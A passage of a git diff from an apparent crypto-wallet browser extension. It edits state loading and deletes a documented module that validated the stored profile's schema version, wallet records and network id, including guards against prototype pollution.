|
||||
state.activeAddress = saved.activeAddress || null;
|
||||
state.allowedSites =
|
||||
saved.allowedSites && !Array.isArray(saved.allowedSites)
|
||||
? saved.allowedSites
|
||||
: {};
|
||||
state.deniedSites =
|
||||
saved.deniedSites && !Array.isArray(saved.deniedSites)
|
||||
? saved.deniedSites
|
||||
: {};
|
||||
state.rememberSiteChoice =
|
||||
saved.rememberSiteChoice !== undefined
|
||||
? saved.rememberSiteChoice
|
||||
: true;
|
||||
state.showZeroBalanceTokens =
|
||||
saved.showZeroBalanceTokens !== undefined
|
||||
? saved.showZeroBalanceTokens
|
||||
: true;
|
||||
state.hideLowHolderTokens =
|
||||
saved.hideLowHolderTokens !== undefined
|
||||
? saved.hideLowHolderTokens
|
||||
: true;
|
||||
state.hideFraudContracts =
|
||||
saved.hideFraudContracts !== undefined
|
||||
? saved.hideFraudContracts
|
||||
: true;
|
||||
state.hideDustTransactions =
|
||||
saved.hideDustTransactions !== undefined
|
||||
? saved.hideDustTransactions
|
||||
: true;
|
||||
state.dustThresholdGwei =
|
||||
saved.dustThresholdGwei !== undefined
|
||||
? saved.dustThresholdGwei
|
||||
: 100000;
|
||||
state.fraudContracts = saved.fraudContracts || [];
|
||||
state.tokenHolderCache = saved.tokenHolderCache || {};
|
||||
state.currentView = saved.currentView || null;
|
||||
state.selectedWallet =
|
||||
saved.selectedWallet !== undefined ? saved.selectedWallet : null;
|
||||
state.selectedAddress =
|
||||
saved.selectedAddress !== undefined ? saved.selectedAddress : null;
|
||||
state.selectedToken = saved.selectedToken || null;
|
||||
state.viewData = saved.viewData || {};
|
||||
}
|
||||
// Whether storage had a profile or was empty, this context has now read
|
||||
// it, and the defaults standing in for an empty profile are the right
|
||||
// answer rather than a stand-in for one nobody looked for.
|
||||
loaded = true;
|
||||
// The point of comparison every saveState() on this page diffs against.
|
||||
// See PERSISTED_FIELDS in persistedState.js for why a reference here
|
||||
// would be wrong.
|
||||
baseline = structuredClone(snapshotPersisted());
|
||||
}
|
||||
|
||||
// Through the guarded proxy, not rawState: a caller asking which address is
|
||||
// selected before anything was loaded gets the same loud failure it would get
|
||||
// reading the fields itself.
|
||||
function currentAddress() {
|
||||
if (state.selectedWallet === null || state.selectedAddress === null) {
|
||||
return null;
|
||||
@@ -571,11 +127,4 @@ function currentAddress() {
|
||||
return state.wallets[state.selectedWallet].addresses[state.selectedAddress];
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
state,
|
||||
saveState,
|
||||
loadState,
|
||||
currentAddress,
|
||||
currentNetwork,
|
||||
StateNotLoadedError,
|
||||
};
|
||||
module.exports = { state, saveState, loadState, currentAddress };
|
||||
|
||||
@@ -1,271 +0,0 @@
|
||||
// The version stamped on the stored profile, and the shape check every read
|
||||
// of one goes through.
|
||||
//
|
||||
// Storage is the one input to this extension that nobody validated. A profile
|
||||
// carried no version at all, so there was no way to tell a record this build
|
||||
// understands from one a later build wrote, and loadState() coerced scalars
|
||||
// while trusting the structure — so a `wallets` that was a string, or an array
|
||||
// of nulls, or a later schema's wallet records, reached the popup and threw on
|
||||
// the first dereference. The popup rendered NOTHING: no view, no message, no
|
||||
// control, and no way out from inside the product
|
||||
// (https://git.eeqj.de/sneak/AutistMask/issues/311).
|
||||
//
|
||||
// Two separate jobs, deliberately not merged:
|
||||
//
|
||||
// stateProblem() / assertStateUsable() refuse a record this build cannot
|
||||
// safely reason about, loudly, naming the problem in a
|
||||
// sentence that goes on screen. This is the gate.
|
||||
// normalizePersisted() (persistedState.js) self-heal a record that IS
|
||||
// usable: absent fields, legacy shapes, out-of-range flags.
|
||||
//
|
||||
// The gate runs FIRST, on the raw stored bytes, before normalization has a
|
||||
// chance to paper over a record whose meaning nobody can vouch for. A blob
|
||||
// that fails it is left in storage untouched — it is the user's only copy of
|
||||
// whatever it holds, and the recovery screen exports it before offering to
|
||||
// erase it.
|
||||
//
|
||||
// What is checked HERE is what nothing downstream can floor: the wallet list,
|
||||
// the version, and the network id that keys an object. Every other field is
|
||||
// normalizePersisted()'s to make safe, and what that function does today is
|
||||
// NOT uniform. The four kinds of floor it applies, listed so a reader can tell
|
||||
// which one a given field has without reading it off:
|
||||
//
|
||||
// Type-checked, container AND entries: trackedTokens, each address's
|
||||
// tokenBalances, networkId, networkEndpoints, activeAddress, viewStack.
|
||||
// These are the fields something dereferences structurally — iterated,
|
||||
// indexed, assigned into, or .toLowerCase()'d — where a truthy value of
|
||||
// the wrong type throws on the first read. The entries matter as much as
|
||||
// the container: [1, 2] IS a list, and `t.address` is one level below the
|
||||
// Array.isArray(). What is checked on an ENTRY is the field the check
|
||||
// exists for and no more — for trackedTokens and tokenBalances that is
|
||||
// `address` alone; the rest of an entry is taken verbatim. So an entry's
|
||||
// `decimals` and `balance` may be null, which is how balances.js records
|
||||
// that nothing knows the token's scale
|
||||
// (https://git.eeqj.de/sneak/AutistMask/issues/349), and every reader
|
||||
// handles that null rather than being defended from it here.
|
||||
// Container shape only: allowedSites, deniedSites. A falsy value or a list
|
||||
// becomes {}; anything else is taken as stored and the entries are not
|
||||
// checked.
|
||||
// `saved.x || default`, no type check: rpcUrl, blockscoutUrl,
|
||||
// lastBalanceRefresh, fraudContracts, tokenHolderCache, theme,
|
||||
// currentView, selectedToken, viewData.
|
||||
// Present-or-default, value taken verbatim: every boolean flag,
|
||||
// dustThresholdGwei, selectedWallet, selectedAddress.
|
||||
//
|
||||
// A field added to the record needs a check here or a floor there, chosen by
|
||||
// what reads it: anything dereferenced structurally needs the type check, and
|
||||
// neither of the last two kinds is one.
|
||||
|
||||
const { isKnownNetworkId } = require("./networks");
|
||||
|
||||
// Bump this when the MEANING of a stored field changes, and add the migration
|
||||
// that carries the older version forward. Adding a field with a defaulted
|
||||
// absent value is not a bump: normalizePersisted() already handles that, and
|
||||
// bumping for it would send every older install to the recovery screen for no
|
||||
// reason.
|
||||
//
|
||||
// Version 1 is the shape that shipped unversioned. An unversioned record is
|
||||
// therefore version 1, not a defect — see migrationNeeded() below.
|
||||
const STATE_SCHEMA_VERSION = 1;
|
||||
|
||||
// Thrown by every read path that finds a record it cannot use. `problem` is
|
||||
// the sentence shown to the user; `message` carries the same text so a log
|
||||
// line or a rethrow is not empty.
|
||||
class StateUnusableError extends Error {
|
||||
constructor(problem) {
|
||||
super(problem);
|
||||
this.name = "StateUnusableError";
|
||||
this.problem = problem;
|
||||
}
|
||||
}
|
||||
|
||||
function isPlainObject(value) {
|
||||
return typeof value === "object" && value !== null && !Array.isArray(value);
|
||||
}
|
||||
|
||||
// Own properties only, everywhere in this file. `saved` comes from storage as
|
||||
// parsed JSON, so `saved.constructor` and `saved.__proto__` answer from the
|
||||
// prototype chain for a record that carries neither — a check written as a
|
||||
// plain truthiness test can be satisfied by Object.prototype rather than by
|
||||
// anything the user's profile actually contains.
|
||||
function has(obj, key) {
|
||||
return Object.prototype.hasOwnProperty.call(obj, key);
|
||||
}
|
||||
|
||||
function ordinal(index) {
|
||||
return String(index + 1);
|
||||
}
|
||||
|
||||
function describeType(value) {
|
||||
if (value === null) return "null";
|
||||
if (Array.isArray(value)) return "a list";
|
||||
return "a " + typeof value;
|
||||
}
|
||||
|
||||
// One address record, as every screen dereferences it.
|
||||
function addressProblem(addr, walletIndex, addrIndex) {
|
||||
const where =
|
||||
"address " +
|
||||
ordinal(addrIndex) +
|
||||
" of wallet " +
|
||||
ordinal(walletIndex) +
|
||||
" in the saved data";
|
||||
if (!isPlainObject(addr)) {
|
||||
return "The " + where + " is " + describeType(addr) + ", not a record.";
|
||||
}
|
||||
if (typeof addr.address !== "string" || addr.address === "") {
|
||||
return "The " + where + " has no address.";
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
function walletProblem(wallet, index) {
|
||||
const where = "Wallet " + ordinal(index) + " in the saved data";
|
||||
if (!isPlainObject(wallet)) {
|
||||
return where + " is " + describeType(wallet) + ", not a wallet record.";
|
||||
}
|
||||
if (!Array.isArray(wallet.addresses)) {
|
||||
return where + " has no list of addresses.";
|
||||
}
|
||||
if (has(wallet, "name") && typeof wallet.name !== "string") {
|
||||
return where + " has a name that is not text.";
|
||||
}
|
||||
for (let i = 0; i < wallet.addresses.length; i++) {
|
||||
const problem = addressProblem(wallet.addresses[i], index, i);
|
||||
if (problem) return problem;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
function versionProblem(saved) {
|
||||
// No version field at all is the shape every install in the field has:
|
||||
// no build ever wrote one. It is version 1, and it is migrated in place.
|
||||
if (!has(saved, "schemaVersion")) return null;
|
||||
const version = saved.schemaVersion;
|
||||
if (
|
||||
typeof version !== "number" ||
|
||||
!Number.isInteger(version) ||
|
||||
version < 1
|
||||
) {
|
||||
return (
|
||||
"The saved data carries a schema version AutistMask does not" +
|
||||
" recognize (" +
|
||||
JSON.stringify(version) +
|
||||
")."
|
||||
);
|
||||
}
|
||||
if (version > STATE_SCHEMA_VERSION) {
|
||||
return (
|
||||
"The saved data was written by a newer version of AutistMask" +
|
||||
" (schema version " +
|
||||
version +
|
||||
"; this build understands version " +
|
||||
STATE_SCHEMA_VERSION +
|
||||
")."
|
||||
);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* The reason this build cannot use `saved`, as a sentence for the user, or
|
||||
* null when it can.
|
||||
*
|
||||
* @param {*} saved the raw record from storage, or undefined for a fresh
|
||||
* install.
|
||||
* @returns {string|null}
|
||||
*/
|
||||
function stateProblem(saved) {
|
||||
// Nothing stored is a first run, not a defect.
|
||||
if (saved === undefined || saved === null) return null;
|
||||
if (!isPlainObject(saved)) {
|
||||
return (
|
||||
"The saved data is " +
|
||||
describeType(saved) +
|
||||
", not the record AutistMask stores."
|
||||
);
|
||||
}
|
||||
|
||||
const version = versionProblem(saved);
|
||||
if (version) return version;
|
||||
|
||||
// Read once, from an OWN property or not at all, so that a polluted
|
||||
// prototype cannot decide whether a profile is refused. Note that
|
||||
// normalizePersisted() reads the same field plainly, and so WOULD consult
|
||||
// the prototype chain: the two halves agree only because a record arriving
|
||||
// from storage has been through structuredClone and always carries
|
||||
// Object.prototype. Nothing reachable from storage can put them at odds,
|
||||
// but a caller that hands either one a hand-built object with an unusual
|
||||
// prototype is not covered by that.
|
||||
const wallets =
|
||||
has(saved, "wallets") && saved.wallets !== undefined
|
||||
? saved.wallets
|
||||
: [];
|
||||
if (!Array.isArray(wallets)) {
|
||||
return (
|
||||
"The list of wallets in the saved data is " +
|
||||
describeType(wallets) +
|
||||
", not a list."
|
||||
);
|
||||
}
|
||||
for (let i = 0; i < wallets.length; i++) {
|
||||
const problem = walletProblem(wallets[i], i);
|
||||
if (problem) return problem;
|
||||
}
|
||||
|
||||
// networkId is not merely displayed: it is an object KEY into
|
||||
// state.networkEndpoints. A corrupt "__proto__" would set that map's
|
||||
// prototype instead of an own key, so the user's endpoint would silently
|
||||
// not be recorded and a switch away and back would return the public
|
||||
// default. isKnownNetworkId() is an own-property test against the network
|
||||
// table for exactly that reason.
|
||||
if (
|
||||
has(saved, "networkId") &&
|
||||
saved.networkId !== undefined &&
|
||||
!isKnownNetworkId(saved.networkId)
|
||||
) {
|
||||
return (
|
||||
"The saved data selects a network AutistMask does not know (" +
|
||||
JSON.stringify(saved.networkId) +
|
||||
")."
|
||||
);
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Refuse a record this build cannot use.
|
||||
*
|
||||
* @param {*} saved the raw record from storage.
|
||||
* @throws {StateUnusableError}
|
||||
*/
|
||||
function assertStateUsable(saved) {
|
||||
const problem = stateProblem(saved);
|
||||
if (problem) throw new StateUnusableError(problem);
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether `saved` is a usable record written before versions existed, and so
|
||||
* gets the current version stamped on it the next time anything writes. Purely
|
||||
* informational — the migration itself is that stamp, since version 1 IS the
|
||||
* unversioned shape.
|
||||
*
|
||||
* @param {*} saved
|
||||
* @returns {boolean}
|
||||
*/
|
||||
function migrationNeeded(saved) {
|
||||
return (
|
||||
isPlainObject(saved) &&
|
||||
!has(saved, "schemaVersion") &&
|
||||
stateProblem(saved) === null
|
||||
);
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
STATE_SCHEMA_VERSION,
|
||||
StateUnusableError,
|
||||
assertStateUsable,
|
||||
migrationNeeded,
|
||||
stateProblem,
|
||||
};
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user